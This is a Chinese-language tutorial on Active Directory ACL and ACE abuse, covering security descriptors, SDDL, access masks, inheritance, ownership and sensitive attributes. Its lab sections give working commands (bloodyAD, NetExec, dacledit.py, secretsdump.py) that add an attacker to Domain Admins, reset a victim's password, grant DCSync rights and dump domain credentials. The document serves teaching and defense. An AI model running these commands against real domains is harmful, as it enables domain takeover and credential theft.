域内 ACL 与 ACE 滥用

用户、计算机、组、OU、GPO 和证书模板等 AD 对象,都通过安全描述符记录访问权限。权限配置不当时,普通账户可能获得修改组成员、重置其他账户密码、写入认证凭据,甚至复制域凭据的能力。

分析这类路径,需要把两件事连起来:当前主体对对象拥有什么有效权限,以及服务端如何处理获准的操作。 例如,写组的 member 可以改变成员关系;写 servicePrincipalName 可以提供定向 Kerberoasting 的入口;修改域对象的 DACL 可以授予目录复制权限。但属性写入还要满足目录服务的额外约束,不能把任意写权限都理解为任意账户接管。

本文先说明安全描述符、ACE、访问检查和继承,再把具体权限与敏感属性对应起来,最后分析授权来源、组合链和审计。BloodHound 的边用于表示已识别的关系,原始 ACL 与属性语义用于解释关系怎样成立;工具的采集范围和版本也会影响图中看到的结果。

ACL 误配本身可以在没有漏洞的情况下被滥用;Certifried、BadSuccessor 等路径则还包含有版本与补丁条件的漏洞。后文会把有效权限、额外配置和漏洞条件分别说明。

AD 对象的权限模型

安全描述符与 ACL

AD 对象的 nTSecurityDescriptor 属性保存安全描述符(Security Descriptor,SD)。它通常以二进制形式传递,也可以用 SDDL 表示。主要组成如下:

Security Descriptor
├── Owner:所有者 SID
├── Group:安全描述符中的主组 SID
├── DACL:决定允许或拒绝哪些访问
└── SACL:描述审计规则等系统安全信息

DACL 和 SACL 都由 ACE(Access Control Entry)组成。DACL 中的 ACE 关联受托者 SID、访问掩码及可选的对象类型、继承条件。Owner 则在访问检查中具有特殊作用,具体限制放在所有权小节说明。

Group 描述安全描述符中的主组 SID;账户的 primaryGroupID 则保存用于计算组成员身份的 RID。

LDAP 的 LDAP_SERVER_SD_FLAGS_OID(1.2.840.113556.1.4.801)可选择读取或修改 Owner、Group、DACL、SACL 等部分。读取 DACL 通常需要 READ_CONTROL;访问 SACL 还涉及 ACCESS_SYSTEM_SECURITY 与 SeSecurityPrivilege。不请求 SACL 可以避免普通查询因缺少该特权而失败。控制项见 LDAP 安全描述符标志控制。

安全描述符还带有控制标志。SDDL 中 D:P 表示 DACL 受保护、不从父对象继续继承,AI 表示自动继承状态。例如 D:PAI(...) 同时出现这两个标志;是否属于 AdminSDHolder 保护对象,要结合账户的实际保护关系判断。

SDDL 与对象型 ACE

SDDL 顶层可包含四段:

O:owner_sid G:group_sid D:dacl_flags(ace)(ace)... S:sacl_flags(ace)(ace)...

本文主要使用普通允许 / 拒绝 ACE 与对象型允许 / 拒绝 ACE,其六个字段用分号分隔:

(ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid)
字段 含义
ace_type A 允许、D 拒绝、OA 对象型允许、OD 对象型拒绝;审计还包括 AU、OU 等类型
ace_flags CI 容器继承、OI 对象继承、IO 仅继承、NP 不继续传播、ID 已继承;审计成功 / 失败还有 SA、FA
rights 访问掩码,可用缩写组合或十六进制整数表示
ObjectType 结合掩码指向具体属性、属性集、扩展权限、校验写,或可创建 / 删除的子对象类
InheritedObjectType 限制 ACE 继承到哪些后代对象类
account_sid 受托者 SID

ObjectType 解释本条权限作用于什么,InheritedObjectType 解释继承对象的类型。对象型审计 ACE 等也可以带 GUID;普通 A / D 的两个 GUID 字段留空。条件 ACE 等格式另有扩展,见 ACE Strings。

常见访问掩码缩写:

  • 标准权限:SD = DELETE(0x10000)、RC = READ_CONTROL(0x20000)、WD = WRITE_DAC(0x40000)、WO = WRITE_OWNER(0x80000)。
  • 通用权限:GA、GW、GR、GX,分别表示通用完全控制、写、读、执行,使用前会映射为对象类型对应的具体权限。
  • AD 专用权限:CC = 创建子对象(0x1)、DC = 删除子对象(0x2)、LC = 列出子对象(0x4)、SW = 校验写(0x8)、RP = 读属性(0x10)、WP = 写属性(0x20)、DT = 删除子树(0x40)、LO = 列出对象(0x80)、CR = 控制访问 / 扩展权限(0x100)。

同一缩写在不同字段可能有不同含义。例如 rights 中的 WD 是 WRITE_DAC,SID 字段中的 WD 则是 Everyone;SID 字段的 DC 表示 Domain Computers。常见 SID 缩写还有 SY(SYSTEM)、BA(Builtin Administrators)、DA、EA、AU、PS(SELF)、CO(CREATOR OWNER)和 AO。完整定义见 SID Strings。

下面四组是结构示例,带省略号或占位符的内容不能直接作为 SDDL 提交:

(A;;GA;;;S-1-5-21-...-1104)
允许该 SID 对当前对象使用映射后的完全控制权限。

(OA;;CR;00299570-246d-11d0-a768-00aa006e0529;;S-1-5-21-...-1105)
CR + User-Force-Change-Password 的 rightsGUID:允许重置目标账户密码。

(OA;CIIO;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;<HelpdeskSID>)
放在 OU 上,作为面向 user 类后代对象的重置密码权限模板;IO 表示不在本 OU 生效。

(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;<主体SID>)
(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;<主体SID>)
放在域命名上下文根上,分别允许复制目录更改、复制机密目录更改。

最后一组是常见 DCSync 所需的两项权限。复制读取哪些数据,还要结合所请求的命名上下文、属性以及复制协议检查;三种复制权限之间的关系会在相关属性与速查部分说明。

访问掩码与通用权限映射

访问掩码是 32 位整数。低 16 位供对象类型定义,16 至 23 位包含标准访问权,28 至 31 位是通用访问权。AD 对象的常见映射如下:

通用权限 映射后的具体权限 数值
GENERIC_READ READ_CONTROL、列出子对象、读属性、列出对象 0x00020094
GENERIC_WRITE READ_CONTROL、校验写、写属性 0x00020028
GENERIC_EXECUTE READ_CONTROL、列出子对象 0x00020004
GENERIC_ALL DELETE、READ_CONTROL、WRITE_DAC、WRITE_OWNER 与九个 AD 专用权限位 0x000F01FF,十进制 983551

完全控制的换算为:

0xF0000 = DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER

0x01FF  = CC | DC | LC | SW | RP | WP | DT | LO | CR

0xF0000 | 0x01FF = 0xF01FF = 983551

它不包含 SYNCHRONIZE。GA 本身表示原始通用位 0x10000000,983551 是 AD 完成映射后的具体权限值,不能把二者当作同一个原始掩码。

同样,WP 且 ObjectType 为空表示写所有属性,只占 0x20;GENERIC_WRITE 还包含 READ_CONTROL 与校验写。二者能覆盖的许多属性写入相同,但掩码与完整权限集合不同。映射与各位定义见 ADS_RIGHTS_ENUM。

一次访问检查的过程

请求者的访问令牌中包含用户 SID、组 SID、特权及其他安全信息。目录服务将请求的权限、目标对象类型与属性类型,和对象的安全描述符一起进行检查。

先看 DACL 的两种特殊状态:

状态 DACL 检查的含义
NULL DACL 没有 DACL,DACL 本身不限制访问
空 DACL DACL 存在但没有 ACE,不通过 ACE 授予访问;所有者隐式权限、特权等仍需另行考虑

二者含义相反。这是在解释 DACL 授权结果;对象操作仍可能有目录服务的额外规则。

处理一般 DACL 时,可以用“尚未满足的访问位”理解基本流程:

  1. 将请求权限映射为具体访问位,先处理适用的特权和所有者规则。
  2. 依列表顺序检查适用于当前主体、对象 / 属性的 ACE,跳过仅继承 ACE 等不适用项。
  3. 匹配的允许 ACE 从尚未满足的集合中移除其授予的位;全部满足后即可允许。
  4. 匹配的拒绝 ACE 如果覆盖仍未满足的请求位,则拒绝。
  5. 遍历后仍有未获准的位,则拒绝。

对象型 ACE 还要沿对应的对象 / 属性类型层次处理,实际算法见 微软访问检查说明。

规范顺序把显式 ACE 放在继承 ACE 前,并在相应层级内将拒绝放在允许前;继承 ACE 还按祖先层级组织。简化表示为:

显式拒绝 -> 显式允许 -> 来自较近祖先的继承 ACE -> 更远祖先的继承 ACE

例如 Alice 只请求 WP:

  • 先有显式允许 WP,后有继承拒绝 WP:前一条已经满足本次请求,检查可以在到达继承拒绝前完成。
  • 两条都是显式且规范排列:拒绝 WP 在前,本次请求失败。
  • 请求中还包含其他未获准的位时,不能只凭某一条允许 WP 判断整个操作通过。

实际请求掩码与 ACE 顺序共同决定检查结果。编辑工具通常会尝试维持规范顺序,手工构造的非规范顺序也可能改变结果。见 Order of ACEs in a DACL。

GUID、属性集、扩展权限与校验写

对象型 ACE 的 ObjectType 必须与访问掩码一起解释:

类型 掩码 ObjectType 指向 用途
扩展权限 CR,0x100 控制访问权限的 rightsGUID 重置密码、目录复制等操作
属性集 RP / WP,0x10 / 0x20 属性集的 rightsGUID 对集合内属性进行读 / 写授权
单个属性 RP / WP 属性的 schemaIDGUID 对某个属性授权
校验写 SW,0x8 校验写权限的 rightsGUID 按服务端定义的约束写入值
创建 / 删除某类子对象 CC / DC 类的 schemaIDGUID 限制能创建或删除的对象类型

普通 WriteProperty 仍需要通过目录语法、唯一性及其他专门约束。校验写则由 AD 为相应操作提供专门验证逻辑,不能通过自建 controlAccessRight 对象自行添加一种服务器校验实现。

ObjectType 留空时,CR 覆盖该对象适用的控制访问权限,SW 覆盖适用的校验写,RP / WP 覆盖属性读 / 写。机密属性的额外授权、系统维护属性及专门的密码操作仍有自己的检查,具体操作要继续往下分析。

一组容易混淆的例子是 GUID 复用:

GUID 与 WP 组合 与 SW 组合
bf9679c0-0de6-11d0-a285-00aa003049e2 写组的 member,按组成员约束增删成员 Self-Membership,修改请求者自己的成员关系
f3a64788-5306-11d1-a9c5-0000f80367c1 写 servicePrincipalName,仍受属性和 SPN 唯一性等规则约束 Validated-SPN,额外检查 SPN 与允许的计算机名称等关系
72e39547-7b18-11d1-adef-00c04fd8d5cd 对 dNSHostName 相关属性授权,仍需结合属性定义检查 Validated-DNS-Host-Name,按目录定义校验 DNS 主机名

这些 GUID 在不同的权利空间中被复用;识别时同时读取掩码和 GUID。属性 GUID 可对照微软 member、servicePrincipalName;校验写的 ObjectType 取值规则见控制访问权限 ACE。

属性集的授权范围

属性集通过属性 schema 对象上的 attributeSecurityGUID 关联。针对集合的 RP / WP ACE 可以一次覆盖多个属性;审计时仅搜索“某个属性 GUID 的 ACE”会漏掉来自属性集或全部属性权限的授权。

属性集 GUID 相关内容
Account Restrictions 4c164200-20c0-11d0-a768-00aa006e0529 账户限制;某些 schema 版本还将 RBCD 属性放在此集内
Group Membership bc0ac240-79a9-11d0-9020-00c04fc2d4cf 组成员相关属性;具体写入路径仍区分 member 与服务器维护的 memberOf
Personal Information 77b5b886-944a-11d1-aebd-0000f80367c1 个人资料及 schema 定义的其他成员
Public Information e48d0154-bcf8-11d1-8702-00c04fb96050 公开身份信息;SPN、证书映射等属性的归属需核对 schema
Domain Password & Lockout Policies c7407360-20bf-11d0-a768-00aa006e0529 域密码与锁定策略
Logon Information 5f202010-79a5-11d0-9020-00c04fc2d4cf 登录和账户信息
Web Information e45795b3-9455-11d1-aebd-0000f80367c1 网页信息相关属性
DNS Host Name Attributes 72e39547-7b18-11d1-adef-00c04fd8d5cd DNS 主机名相关属性

完整集合表与查询规则见 MS-ADTS Property Set。schema 会随系统及产品扩展变化,最直接的核对方法是在 schema 分区读取目标属性的 schemaIDGUID 与 attributeSecurityGUID。

例如 Account Restrictions 的写权限与 RBCD 的关系,见 SpecterOps 对 WriteAccountRestrictions 的分析。这说明应沿“集合 GUID -> 成员属性 -> 服务端约束”继续检查,而非只根据集合的中文显示名判断风险。

继承与“应用于”

权限项的“应用于”主要通过继承标志及 InheritedObjectType 表达:

范围示例 常见标志 InheritedObjectType
仅此对象 无继承标志 空
此对象和所有后代对象 CI 空
所有后代对象 CI、IO 空
后代用户对象 CI、IO bf967aba-0de6-11d0-a285-00aa003049e2
后代计算机对象 CI、IO bf967a86-0de6-11d0-a285-00aa003049e2
后代组对象 CI、IO bf967a9c-0de6-11d0-a285-00aa003049e2

IO 表示 ACE 作为继承模板,不在当前对象生效;NP 限制继续向下一代传播;ID 表示这条 ACE 已从父级继承。对象型继承还会涉及对象类及继承传播的处理,最终要检查目标对象上实际形成的 ACE 与有效权限。

OU 上可继承的写权限会扩大到其覆盖的后代范围。受保护 DACL 会阻断继承,AdminSDHolder 管理的受保护账户就是需要另行检查的一类。管理时把主体、对象类和操作范围一起限定,才能说明委派究竟覆盖哪些对象。

下图以 Helpdesk 对后代组的 member 写权限为例,展示属性范围与继承对象类的对应关系:

ace-inheritance-scope.png

所有权与 Owner Rights

一般情况下,所有者隐式得到 READ_CONTROL 与 WRITE_DAC,因此常见路径是:

WRITE_OWNER -> 将对象所有者改为自己
            -> 取得适用的 WRITE_DAC
            -> 在 DACL 中加入操作所需权限

WRITE_OWNER 通常允许将自己或令牌中可作为所有者的组设为 Owner;把任意其他 SID 设为 Owner 还涉及恢复特权等额外条件。初始 Owner 由创建与安全描述符规则确定,可能是创建者或管理组,应读取实际 SID。CREATOR OWNER 是继承模板的占位主体,与“所有对象都归个人创建者”不同。

DACL 中存在适用的 OWNER RIGHTS(S-1-3-4)ACE 时,所有者默认隐式权限会受到该 ACE 及其他适用 ACE 的访问检查约束。它可以是当前对象上的显式 ACE;只有希望规则继续覆盖新建后代时才需要继承标志。所有者若还通过其他主体或授权路径取得 WRITE_DAC,仍可使用那条授权。见 Well-known SIDs。

AD 另有 BlockOwnerImplicitRights。在支持相应检查的实现中,该 dsHeuristic 置为 1、请求者不属于 Domain Admins 或 Enterprise Admins、目标为 computer 或其派生类时,会阻断默认所有者隐式权限。MS-ADTS 还列出了 Windows 11 26H1 及之后实现的取值和 ACE 修改检查;AD DS 部署同时需要核对 KB5008383 的 LDAP 操作加固。规则见 MS-ADTS Blocking Implicit Owner Rights与 KB5008383。

因此,从 WriteOwner 推导到 WriteDacl 时,需要检查 Owner Rights、适用的目录加固及其他有效授权;所有权本身不是无条件的完全控制。

权限配置与 ACE 的对应关系

在 ADUC 中查看权限

在“Active Directory 用户和计算机”(dsa.msc)中启用“查看 -> 高级功能”,再打开对象的“属性 -> 安全 -> 高级”,可以查看权限、审核、所有者及有效访问。不同系统界面的选项名称略有差异,分析时关注主体、允许 / 拒绝、权限内容和“应用于”范围。

界面的一项授权可能包含多个权限位,也可能展开为多条 ACE。例如,委派“重置用户密码并强制下次登录更改”同时涉及重置密码扩展权限和 pwdLastSet 的读写权限。GUI、SDDL、dsacls 和 PowerShell 都是在操作安全描述符,但不能简单按“一个勾选对应一个 bit、一条 ACE”计数。

通用权限与细分权限

权限 ACE 中的含义 可形成的操作
完全控制 AD 映射后的 GenericAll 修改属性、DACL、所有者及适用的扩展操作;具体效果继续受对象类型和服务端规则约束
列出内容 LC 枚举容器中的可见子对象
读取所有属性 RP,ObjectType 为空 读取可读属性;机密属性还需要额外授权
写入所有属性 WP,ObjectType 为空 覆盖普通可写属性,不包含 WRITE_DAC、WRITE_OWNER;与 GenericWrite 的完整掩码不同
修改权限 WRITE_DAC 修改 DACL,给自己增加所需操作权限
修改所有者 WRITE_OWNER 取得适用的所有权,再检查是否能获得 WRITE_DAC
读取权限 READ_CONTROL 读取 DACL 和所有者等安全信息
删除 DELETE 删除当前对象;删除也可能由父容器的 Delete Child 权限授权
删除子树 DT 在目录服务的树删除操作中授权删除子树,影响范围不同于单对象删除
所有校验写 SW,ObjectType 为空 使用该类对象支持的校验写,仍执行各校验写的约束
所有扩展权限 CR,ObjectType 为空 使用目标适用的控制访问权限,例如账户重置密码或域对象上的复制权限
创建 / 删除某类子对象 CC / DC + 类 GUID 在容器中创建 / 删除指定类型的子对象

“读取所有属性”不直接等于读取 LAPS 密码;“所有校验写”也不直接等于可以给任意组增加任意成员。前者还受机密属性访问检查约束,后者要区分 Self-Membership 等具体规则。

针对属性、扩展权限或子对象类的细粒度授权会带 ObjectType GUID。下面几种操作虽然都显示在高级权限界面中,服务端执行的检查并不相同:

掩码与对象类型 对应操作
WP + member 的 schemaIDGUID 修改组成员列表
SW + Self-Membership 的 rightsGUID 修改请求者自己的组成员关系
WP + servicePrincipalName 的 schemaIDGUID 写 SPN,提供定向 Kerberoasting 等入口
WP + msDS-KeyCredentialLink 的 schemaIDGUID 写入密钥凭据,提供 Key Trust 认证入口
CR + User-Change-Password 提交旧密码和新密码,更改密码
CR + User-Force-Change-Password 不提交旧密码,重置密码
CR + DS-Replication-Get-Changes 复制目录更改
CR + DS-Replication-Get-Changes-All 与前一项组合,复制受保护的机密数据

DCSync 常用的两项复制权限要配置在对应域命名上下文根上。DS-Replication-Get-Changes-In-Filtered-Set 用于复制过滤属性集,是另一项独立权限,不能把三个 GUID 当作同一权限的不同名称。密码数据复制的协议检查见 MS-DRSR IsGetNCChangesPermissionGranted。

委派控制的对象范围

委派控制向导把常见管理任务转换为 ACL。检查委派时,需要同时看操作与继承范围:

管理任务 关注的授权 范围检查
重置用户密码并强制下次改密 重置密码扩展权限、读写 pwdLastSet 哪些后代用户实际继承到这些 ACE
创建、删除和管理用户 容器上的创建 / 删除 user 类权限,以及后代用户管理权限 是否覆盖过大的 OU 层级
修改组成员 读写组对象的 member 是否包含可通向高权限组的嵌套组
将计算机加入域 创建计算机及加入 / 重用计算机所需权限 新建与重用已有计算机的检查不同,重用还涉及加域加固
管理组策略链接 写 gPLink、gPOptions 等相应属性 能影响哪些容器,以及是否另有可控 GPO

OU 中存在某账户,并不意味着该账户一定继承 OU 的委派。受保护账户的 DACL 继承状态会影响结果,直接授权及其他组成员身份也可能提供额外权限。查看目标对象上最终生效的 ACL,才能确认向导的覆盖范围。向导的常见任务见微软委派控制说明。

同一组授权的几种表示

以授予 testjd\Helpdesk 重置 OU=Staff 下后代用户密码,并设置下次登录改密为例。在 GUI 中选择对应的常见任务,可以生成面向后代用户的授权。

下面用两条对象型 ACE 表示这组核心权限。CIIO 使其作为后代继承模板;bf967aba-... 是 user 类 GUID,bf967a0a-... 是 pwdLastSet 属性 GUID:

(OA;CIIO;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;<HelpdeskSID>)
(OA;CIIO;RPWP;bf967a0a-0de6-11d0-a285-00aa003049e2;bf967aba-0de6-11d0-a285-00aa003049e2;<HelpdeskSID>)

这里省略了 OU 中其他现有 ACE,<HelpdeskSID> 需要替换成实际 SID。ID 标志表示“已经继承”,不应当用它把 OU 上新加的显式继承模板标成继承项。

Windows 上使用 dsacls 的对应示例:

dsacls "OU=Staff,DC=testjd,DC=local" /I:S /G "testjd\Helpdesk:CA;Reset Password;user"
dsacls "OU=Staff,DC=testjd,DC=local" /I:S /G "testjd\Helpdesk:RPWP;pwdLastSet;user"

/I:S 表示传播到后代对象;这里的 CA 是 dsacls 表示控制访问权限的语法。权限显示名要与目标目录中的名称对应。参数见 dsacls。

安装 AD PowerShell 模块后,也可以通过两条 ActiveDirectoryAccessRule 配置:

Import-Module ActiveDirectory

$ou = "AD:\OU=Staff,DC=testjd,DC=local"
$acl = Get-Acl -Path $ou
$sid = (Get-ADGroup -Identity Helpdesk).SID

$gReset = [Guid]"00299570-246d-11d0-a768-00aa006e0529"
$gPwdLastSet = [Guid]"bf967a0a-0de6-11d0-a285-00aa003049e2"
$gUser = [Guid]"bf967aba-0de6-11d0-a285-00aa003049e2"
$allow = [System.Security.AccessControl.AccessControlType]::Allow
$inherit = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::Descendents

$resetRule = [System.DirectoryServices.ActiveDirectoryAccessRule]::new(
    $sid,
    [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
    $allow, $gReset, $inherit, $gUser
)
$pwdRule = [System.DirectoryServices.ActiveDirectoryAccessRule]::new(
    $sid,
    [System.DirectoryServices.ActiveDirectoryRights]"ReadProperty,WriteProperty",
    $allow, $gPwdLastSet, $inherit, $gUser
)

$acl.AddAccessRule($resetRule)
$acl.AddAccessRule($pwdRule)
Set-Acl -Path $ou -AclObject $acl

pwdLastSet 的 GUID 可对照微软 schema 定义。这组示例说明的是同一授权意图;查看具体工具生成的结果时,还应核对 ACE 的合并、顺序和目标上已存在的权限。

读取 ACL 与备份 ACL 也要区分。Impacket dacledit.py -action read 用于解析查看,-action backup 才是显式备份动作;其写入、移除和恢复逻辑见 dacledit.py 源码。恢复整份旧 DACL 会覆盖备份之后的其他授权变化,仅撤销本次修改时,应按记录移除新增的具体 ACE。

敏感属性与权限滥用

属性是授权与业务行为之间的连接点。分析属性写权限,可以沿着“谁能写 -> 写入什么值 -> 哪个组件读取 -> 产生什么身份或操作”展开。下面按组身份、凭据、委派、组策略、证书及账户限制组织。

这里使用 testjd.local 域,域控为 DC01(192.168.147.128)。

组成员与身份属性

member 与组成员关系

组对象的多值链接属性 member 保存直接成员 DN。用户侧的 memberOf 是反向链接,由目录服务维护。对组的 member 有 WriteProperty,可以增删符合组作用域等规则的成员;Self-Membership 校验写则只允许相应的自我成员操作。BloodHound 常用 AddMember 和 AddSelf 表示这两类关系。

组成员变化与已经建立的登录会话有时间差。新成员关系可被后续认证用于构造 PAC 和访问令牌,已有票据、服务会话或本地访问令牌不会一起自动重建。重新获取票据可以更新后续网络认证所使用的身份信息;本地交互令牌通常需要重新登录。

组还可以嵌套。memberOf 只列直接父组,传递成员关系可通过 LDAP 匹配规则 1.2.840.113556.1.4.1941 查询。检查授权时,既要看 ACE 直接授予谁,也要看请求者是否通过嵌套组匹配这条 ACE。

这里在 Domain Admins 组对象上,为 group_attacker 增加“写入成员”权限,应用范围为“只是这个对象”。

Domain Admins 上授予 group_attacker 的 ACE

展开权限项,可以看到授权的是 member 属性写入:

Domain Admins 的写入成员权限

使用 bloodyAD 将自己加入目标组:

bloodyAD --host 192.168.147.128 -d testjd.local -u group_attacker -p 'Bb123456' \
  add groupMember 'Domain Admins' group_attacker

输出确认 group_attacker 已加入 Domain Admins:

bloodyAD 成功添加 Domain Admins 成员

primaryGroupID 与主组枚举

primaryGroupID 保存账户主组的 RID。普通用户通常为 513(Domain Users),成员计算机通常为 515,域控通常为 516。主组成员身份会参与令牌和 PAC 构造,但不会以普通的 member / memberOf 链接表示,因此只枚举链接属性会遗漏它。

查询方式 主组成员的呈现
直接读取组的 member,或 Get-ADGroup 的 Members 属性 不包含仅通过 primaryGroupID 表示的成员
读取用户的 memberOf 不列出该用户的主组
Get-ADGroupMember 能返回直接主组成员;递归及嵌套场景还需检查相应枚举逻辑
ADUC 成员界面、net group 可呈现主组成员

这个差异有TrustedSec 的实际枚举对照支持。看到某张图中没有成员边时,还需要回到属性与令牌身份确认。

普通目录操作修改 primaryGroupID,要求账户已经是目标组成员,并具有相应修改权限。设为主组后,普通 member 链接会随该操作调整,主组关系保留。因此,一条裸的 primaryGroupID 写权限不足以让不属于 Domain Admins 的普通用户直接成为域管。高权限下直接修改数据库或伪造复制数据是另一类权限前提。

Windows 上可先找出主组不是 Domain Users 的用户,再逐个确认用途:

Get-ADUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(!(primaryGroupID=513)))' -Properties primaryGroupID |
    Select-Object SamAccountName, primaryGroupID

Guest、迁移或其他合法账户也可能出现不同主组。账户变更事件 4738 / 4742 中的 Primary Group ID,以及目录属性与 ACL 的变化,可以帮助追踪主组调整和隐藏读取权限的行为。

sIDHistory 与迁移身份

sIDHistory 用于保留迁移前的 SID,使新账户继续访问按旧 SID 授权的资源。KDC 构造认证信息时会处理这些历史 SID;若攻击者能注入有效的特权 SID,就可能在不加入对应组的情况下获得其授权。

该属性受专门的迁移和目录约束保护,普通 WriteProperty 或 GenericWrite 不提供任意 LDAP 注入能力。正常迁移使用专门接口和权限检查;离线修改目录数据库、DCShadow 等攻击路径则已经涉及域控、复制或其他高权限控制。

跨信任使用时还要经过 SID Filtering。过滤规则同时涉及信任边界、SID 所属域、SID 类别及隔离设置。例如,RID 大于等于 1000 的 SID 在跨林边界仍可能被过滤。具体规则见 MS-PAC SID Filtering。

adminCount 与 managedBy

adminCount=1 是受保护账户排查线索。账户退出受保护组后,该标记和关闭的 DACL 继承可能遗留,因此还需核对当前组成员关系与 DACL。单独把 adminCount 改成 1 不会授予管理员身份。

managedBy 在普通组、普通计算机上用于记录管理者。ADUC 中勾选“管理者可更新成员列表”时,会另外在组 DACL 中授予管理者写 member 的权限,真正允许修改成员的是这条 ACE。

RODC 有专门的管理员角色分离机制:其计算机对象的 managedBy 可以指定本地管理主体,作用与普通计算机的信息性字段不同。微软的 RODC 管理委派示例说明了这一用途。

密码、密钥与凭据读取

unicodePwd 与密码操作

unicodePwd 支持设置账户密码,不能通过普通 LDAP 查询读回现有密码。LDAP 修改值是带双引号的密码字符串经 UTF-16LE 编码;LDIF 文件中常见的 Base64 是该文件表示二进制值的方式。

LDAP 修改 权限与输入
在一次请求中删除旧值、增加新值 更改密码,需要旧密码及 User-Change-Password 等检查
replace 新值 重置密码,需要 User-Force-Change-Password 等检查,无需旧密码

普通属性写权限不会替代这组专门检查。AD DS 还要求受保护的连接,例如足够强度的 TLS,或符合要求的 SASL 加密。编码、连接与访问检查见 MS-ADTS unicodePwd。

重置密码会覆盖原口令,服务账户尤其可能因此中断。常见工具包括 bloodyAD set password、impacket-changepasswd -reset 和 PowerView 的 Set-DomainUserPassword;重置他人密码对应事件 4724。

在 setpass_victim 的安全设置中,给 setpass_attacker 授予“重置密码”。这项权限对应 User-Force-Change-Password,不需要提供 victim 的旧密码;界面中的“更改密码”用于另一组需要旧密码的操作。

setpass_attacker 对 setpass_victim 的重置密码权限

NetExec 的模块名虽然是 change-password,指定其他目标用户后,也能使用相应权限执行重置:

nxc smb 192.168.147.128 -u setpass_attacker -p 'Bb123456' \
  -M change-password -o USER=setpass_victim NEWPASS='newPass1234'

NetExec 成功重置 setpass_victim 密码

也可以使用 bloodyAD:

bloodyAD -u setpass_attacker -p 'Bb123456' -d testjd.local --host 192.168.147.128 \
  set password setpass_victim 'NewPassword456!'

bloodyAD 成功重置 setpass_victim 密码

两次操作依次设置新密码,最后一次成功写入的密码覆盖前一次设置。

pwdLastSet 控制密码最近设置时间相关状态。置 0 表示要求下次登录改密,置 -1 让服务器写入当前时间,可清除“下次必须改密”的状态。之后仍按密码最长有效期等策略处理。

msDS-KeyCredentialLink 与 Shadow Credentials

Kerberos 除了使用密码派生密钥,还能通过 PKINIT 使用非对称密钥完成初始认证。Key Trust 方式把账户允许使用的公钥凭据关联到 AD 对象的 msDS-KeyCredentialLink(KCL)中,KDC 据此将密钥持有者映射到账户。

KCL 是多值 DN-Binary 属性,其中的 KEYCREDENTIALLINK_BLOB 记录 KeyMaterial、用途、来源及其他凭据标识信息。攻击者获得目标 KCL 的写权限后,可以生成自己的密钥对,把公钥凭据写入目标对象,再用对应私钥以目标身份进行 PKINIT。原密码保持原值,账户却增加了一条新的认证入口。见 Shadow Credentials 原始研究。

流程中涉及三种不同的密钥:

  1. 攻击者生成的私钥,用于证明自己持有写入 KCL 的公钥所对应的私钥。
  2. PKINIT 建立的 AS reply key,用于解开 AS-REP 中的加密回复。
  3. 回复中交付的 TGT 会话密钥,用于后续 TGS 请求。

KDC 需要支持 Key Trust,并具有适合 PKINIT 的域控证书及私钥。Server 2016 引入的相关能力是常见前提,证书可以来自 AD CS 或其他符合信任与用途要求的 CA;只安装 CA 也不等于域控已经具备可用证书。

取得 TGT 后,还可以衔接 UnPAC-the-hash。Windows 的 PKINIT 登录兼容 NTLM 凭据需求,PAC 中可能包含由 AS reply key 保护的 PAC_CREDENTIAL_INFO。攻击者知道 AS reply key,却无法直接解开使用 krbtgt 密钥加密的 TGT:

  1. 通过自己的 PKINIT 交换取得 TGT、TGT 会话密钥和 AS reply key。
  2. 申请面向自身的 U2U 服务票据,让票据用已知的 TGT 会话密钥加密。
  3. 解开该票据,取得其中的 PAC。
  4. 用 AS reply key 解开 PAC_CREDENTIAL_INFO 中的凭据数据,提取可用的 NT 哈希。

两层解密分别使用 TGT 会话密钥与 AS reply key。详细数据流见 U2U 与 UnPAC-the-hash 分析。

Shadow Credentials、PKINIT 与 UnPAC-the-hash 的密钥流

KCL 还有校验写路径。计算机以 SELF 身份使用对应校验写增加值时,服务端会检查对象类型、KeyUsage、KeySource、现有值等条件;“计算机可以给自己增加一个值”对应的是这组约束。对他人对象明确获得的属性写权限,需要按另一条授权路径分析。规则见 MS-ADTS msDS-KeyCredentialLink。

Linux 可使用 pyWhisker 或 Certipy shadow,Windows 可使用 Whisker。中继工具也能在获准的 LDAP 会话内写入 KCL,但前置中继仍受 MIC、LDAP 签名及通道绑定等条件限制,可结合《NTLM 中继攻击》阅读。事件 5136 可记录经审计的 KCL 增删;4768 可辅助关联 PKINIT 取票。增加后删除凭据仍会留下相应操作痕迹。

域根复制权限与 DCSync

DCSync 使用 DRSUAPI 目录复制接口请求域数据。服务端先确定请求所属的命名上下文,再检查该命名上下文根对象上的复制权限。这里的域数据对应 DC=testjd,DC=local,通常复制密码数据需要 DS-Replication-Get-Changes 与 DS-Replication-Get-Changes-All。涉及筛选属性集及 RODC 时,还有相应的复制规则,见 MS-DRSR 权限检查。

因此,权限作用于哪个对象很关键。DC01$ 计算机对象的 FullControl 可以用于修改该对象的属性和 DACL;域根的 DACL 则决定谁能复制这份域数据。即使只请求某个用户的密码,复制接口也仍在命名上下文根检查所需权限。

已有域根 WriteDacl 的账户,可以先为自己增加复制权限。这里需要的是“修改权限”,即 WRITE_DAC;GenericWrite 的属性写能力不包含这项权限。

这里使用域根所有者 root_write_attacker 修改 DACL:

域根所有者 root_write_attacker 与现有权限

使用 Impacket 的 dacledit.py,把复制权限授予自己。-target-dn 明确指向域根:

python3 examples/dacledit.py testjd.local/root_write_attacker:'Bb123456' \
  -dc-ip 192.168.147.128 -target-dn 'DC=testjd,DC=local' \
  -action write -rights DCSync -principal root_write_attacker

-rights DCSync 会增加 Get-Changes 与 Get-Changes-All 对应的两条扩展权限 ACE,工具输出显示 DACL 修改成功:

dacledit 在域根增加 DCSync 权限

随后以 root_write_attacker 的身份发起复制请求:

python3 examples/secretsdump.py testjd.local/root_write_attacker:'Bb123456'@192.168.147.128 -just-dc

输出显示使用 DRSUAPI 方法取得域凭据:

secretsdump 通过 DRSUAPI 复制域凭据

